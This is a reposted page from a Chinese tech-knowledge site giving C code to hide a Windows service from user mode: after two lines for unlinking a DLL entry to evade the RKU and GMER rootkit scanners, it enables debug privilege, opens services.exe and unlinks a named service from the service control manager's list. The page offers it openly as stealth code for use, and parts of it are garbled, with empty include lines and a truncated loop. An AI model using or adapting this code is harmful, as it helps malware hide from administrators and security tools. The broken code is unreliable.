最新文章专题视频专题问答1问答10问答100问答1000问答2000关键字专题1关键字专题50关键字专题500关键字专题1500TAG最新视频文章推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37视频文章20视频文章30视频文章40视频文章50视频文章60 视频文章70视频文章80视频文章90视频文章100视频文章120视频文章140 视频2关键字专题关键字专题tag2tag3文章专题文章专题2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章专题3
问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501
当前位置: 首页 - 科技 - 知识百科 - 正文

ring3下隐藏服务的代码

来源:懂视网 责编:小采 时间:2020-11-09 08:22:10
文档

ring3下隐藏服务的代码

ring3下隐藏服务的代码:来自: ASM 过RKU,GMAER的dll模块检查的 代码 ,就两句: ldm-HashLinks.Blink-Flink = ldm-HashLinks.Flink; ldm-HashLinks.Flink-Blink = ldm-HashLinks.Blink; //下面是一个ring3下 隐藏 服务 的 代码 ,也是抄别人小小修改了
推荐度:
导读ring3下隐藏服务的代码:来自: ASM 过RKU,GMAER的dll模块检查的 代码 ,就两句: ldm-HashLinks.Blink-Flink = ldm-HashLinks.Flink; ldm-HashLinks.Flink-Blink = ldm-HashLinks.Blink; //下面是一个ring3下 隐藏 服务 的 代码 ,也是抄别人小小修改了

来自: ASM 过RKU,GMAER的dll模块检查的 代码 ,就两句: ldm-HashLinks.Blink-Flink = ldm-HashLinks.Flink; ldm-HashLinks.Flink-Blink = ldm-HashLinks.Blink; //下面是一个ring3下 隐藏 服务 的 代码 ,也是抄别人小小修改了一下而已的: #include #incl

来自:ASM

过RKU,GMAER的dll模块检查的代码,就两句:

ldm->HashLinks.Blink->Flink = ldm->HashLinks.Flink;
ldm->HashLinks.Flink->Blink = ldm->HashLinks.Blink;

//下面是一个ring3下隐藏服务的代码,也是抄别人小小修改了一下而已的:

#include
#include
#include
#include

// 几个Undocument的结构
typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;
typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;
typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

typedef struct _SC_SERVICE_PROCESS
{
PSC_SERVICE_PROCESS Previous;
PSC_SERVICE_PROCESS Next;
WCHAR *ImagePath;
DWORD Pid;
DWORD NumberOfServices;
// ...
} SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;

typedef struct _SC_DEPEND_SERVICE
{
PSC_DEPEND_SERVICE Next;
DWORD Unknow;
PSC_SERVICE_RECORD Service;
// ...
} SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;

typedef struct _SC_SERVICE_RECORD
{
PSC_SERVICE_RECORD Previous;
PSC_SERVICE_RECORD Next;
WCHAR *ServiceName;
WCHAR *DisplayName;
DWORD Index;
DWORD Unknow0;
DWORD sErv;
DWORD ControlCount;
DWORD Unknow1;
PSC_SERVICE_PROCESS Process;
SERVICE_STATUS Status;
DWORD StartType;
DWORD ErrorControl;
DWORD TagId;
PSC_DEPEND_SERVICE DependOn;
PSC_DEPEND_SERVICE Depended;
// ...
} SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

int WINAPI UnicodeToAnsiStr(OUT char *lpChar, IN WCHAR *lpWideChar)
{
int iLen;

iLen = WideCharToMultiByte(CP_ACP, 0, lpWideChar, -1, NULL, 0, NULL, NULL);
if ((iLen > 1) || (iLen < 20))
{
ZeroMemory(lpChar, 40);
iLen = WideCharToMultiByte(CP_ACP, 0, lpWideChar, -1, lpChar, iLen, NULL, NULL);
}

return iLen;
}

BOOL SetDebugPrivilege()
{
BOOL bRet = FALSE;
HANDLE hToken = NULL;
LUID luid;
TOKEN_PRIVILEGES tp;

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
}

if (hToken) CloseHandle(hToken);
return bRet;
}

DWORD GetProcessIdByName(char *Name)
{
BOOL bRet = FALSE;
HANDLE hProcessSnap = NULL;
PROCESSENTRY32 pe32 = { 0 };
DWORD Pid = -1;

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hProcessSnap, &pe32))
{
do
{
if (!lstrcmpi(pe32.szExeFile, Name ) )
{
Pid = pe32.th32ProcessID;
break;
}
}
while (Process32Next(hProcessSnap, &pe32));
}

CloseHandle(hProcessSnap);
return Pid;
}

// 修改内存属性为指定值
void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value)
{
MEMORY_BASIC_INFORMATION mbi;
DWORD dwOldProtect, dwWritten;

VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));
VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);
WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);
VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);
}

//寻找服务链表
PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)
{
char FileName[MAX_PATH+1];
HANDLE hFile, hFileMap;
UCHAR * pMap;
DWORD dwSize, dwSizeHigh, i, dwRead;
SC_SERVICE_RECORD SvcRd, *pSvcRd, *pRet = NULL;

GetSystemDirectory( FileName, MAX_PATH );
strcat( FileName,"Services.exe");

hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (INVALID_HANDLE_VALUE == hFile) return NULL;

dwSizeHigh = 0;
dwSize = GetFileSize(hFile, &dwSizeHigh);

hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (NULL == hFileMap) return NULL;

pMap = (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);
if (NULL == pMap) return NULL;

dwSize -= 12;
for (i=0; i
{
// 搜索services!ScGetServiceDatabase特征代码
if (*(DWORD*)(pMap+i) == 0xa1909090 &&
*(DWORD*)(pMap+i+8) == 0x909090c3)
{
if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&
ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
SvcRd.sErv == vrEs) // ServiceRecord结构的特征
{
pRet = pSvcRd;
break;
}
}
}

UnmapViewOfFile(pMap);
CloseHandle(hFileMap);
CloseHandle(hFile);

//printf( "addr: 0x%08xn", (DWORD *)pRet );
return pRet;
}

// 隐藏服务
BOOL HideService(char *Name)
{
DWORD Pid;
HANDLE hProcess;
SC_SERVICE_RECORD SvcRd, *pSvcRd;
DWORD dwRead, dwNameSize;
WCHAR SvcName[MAX_PATH] = { 0 };
char lpSvcName[256] = {0};

dwNameSize = strlen(Name)*2; //UNICODE的话,长度要乘以2

if (dwNameSize > sizeof(SvcName))
{
return FALSE;
}

Pid = GetProcessIdByName("Services.exe");
if (Pid == -1)
{
printf("get pid errorrn");
return FALSE;
}

if(!SetDebugPrivilege())
{
printf("SetDebugPrivilege errorrn");
return FALSE;
}
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (NULL == hProcess)
{
printf("OpenProcess error:%drn",GetLastError());
return FALSE;
}
pSvcRd = FindFirstServiceRecord(hProcess);
if (NULL == pSvcRd)
{
printf("FindFirstServiceRecord errorrn");
CloseHandle(hProcess);
return FALSE;
}

do
{
if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))
{
//OutputDebugStringW(SvcName);
// 匹配服务名
memset(lpSvcName,0,sizeof(lpSvcName));
UnicodeToAnsiStr(lpSvcName,SvcName);
if (lstrcmpi(lpSvcName, Name) == NULL)
{
// 从链表中断开(一般来说ServiceRecord是可写的,但还是先改保护属性以防万一)
ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);
ProtectWriteDword(hProcess, (DWORD *)SvcRd.Next, (DWORD)SvcRd.Previous);
CloseHandle(hProcess);
return TRUE;
}
}
else
{
break;
}
}
while (pSvcRd = SvcRd.Next);

if( NULL != hProcess )
{
CloseHandle(hProcess);
}

return FALSE;
}
int main()
{
HideService("Alerter");
return 0;
}

声明:本网页内容旨在传播知识,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

文档

ring3下隐藏服务的代码

ring3下隐藏服务的代码:来自: ASM 过RKU,GMAER的dll模块检查的 代码 ,就两句: ldm-HashLinks.Blink-Flink = ldm-HashLinks.Flink; ldm-HashLinks.Flink-Blink = ldm-HashLinks.Blink; //下面是一个ring3下 隐藏 服务 的 代码 ,也是抄别人小小修改了
推荐度:
标签: 隐藏 服务 代码
  • 热门焦点

最新推荐

猜你喜欢

热门推荐

专题
Top